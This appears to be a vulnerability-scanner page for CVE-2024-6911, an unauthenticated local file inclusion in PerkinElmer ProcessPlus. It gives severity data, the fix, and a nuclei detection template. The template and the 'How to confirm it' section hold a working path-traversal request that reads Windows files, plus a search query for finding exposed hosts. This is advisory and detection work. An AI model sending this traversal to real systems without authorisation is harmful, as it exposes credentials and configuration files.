PerkinElmer ProcessPlus <= 1.11.6507.0 - Local File Inclusion

highseverity

8.7CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Files on the Windows system are accessible without authentication to external parties due to a local file inclusion in PerkinElmer ProcessPlus.This issue affects ProcessPlus through 1.11.6507.0.

Impact

Unauthenticated attackers can exploit LFI to read arbitrary files from the Windows system, potentially exposing sensitive configuration files, credentials, and system information.

Fix

Update PerkinElmer ProcessPlus to a version later than 1.11.6507.0 to address the local file inclusion vulnerability.

How to confirm it

Send: GET /ProcessPlus
Positive when: contains(body,"<title>Process Plus - Perten Instruments</title>") and status_code == 200
Send: GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\win.ini
Positive when: contains_all(body,"bit app support","fonts","extensions") and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6911 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6911

info:
  name: PerkinElmer ProcessPlus <= 1.11.6507.0 - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    Files on the Windows system are accessible without authentication to external parties due to a local file inclusion in PerkinElmer ProcessPlus.This issue affects ProcessPlus through 1.11.6507.0.
  impact: |
    Unauthenticated attackers can exploit LFI to read arbitrary files from the Windows system, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: |
    Update PerkinElmer ProcessPlus to a version later than 1.11.6507.0 to address the local file inclusion vulnerability.
  reference:
    - http://seclists.org/fulldisclosure/2024/Jul/13
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-perten-processplus/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6911
    - https://github.com/adminlove520/pocWiki
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2024-6911
    cwe-id: CWE-552
    epss-score: 0.04944
    epss-percentile: 0.92226
    cpe: cpe:2.3:a:perkinelmer:processplus:1.11.6507:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: perkinelmer
    product: processplus
    fofa-query: '"Process Plus" && icon_hash="1772087922"'
  tags: cve,cve2024,processplus,intrusive,lfi,seclists,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ProcessPlus HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Process Plus - Perten Instruments</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts","extensions")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from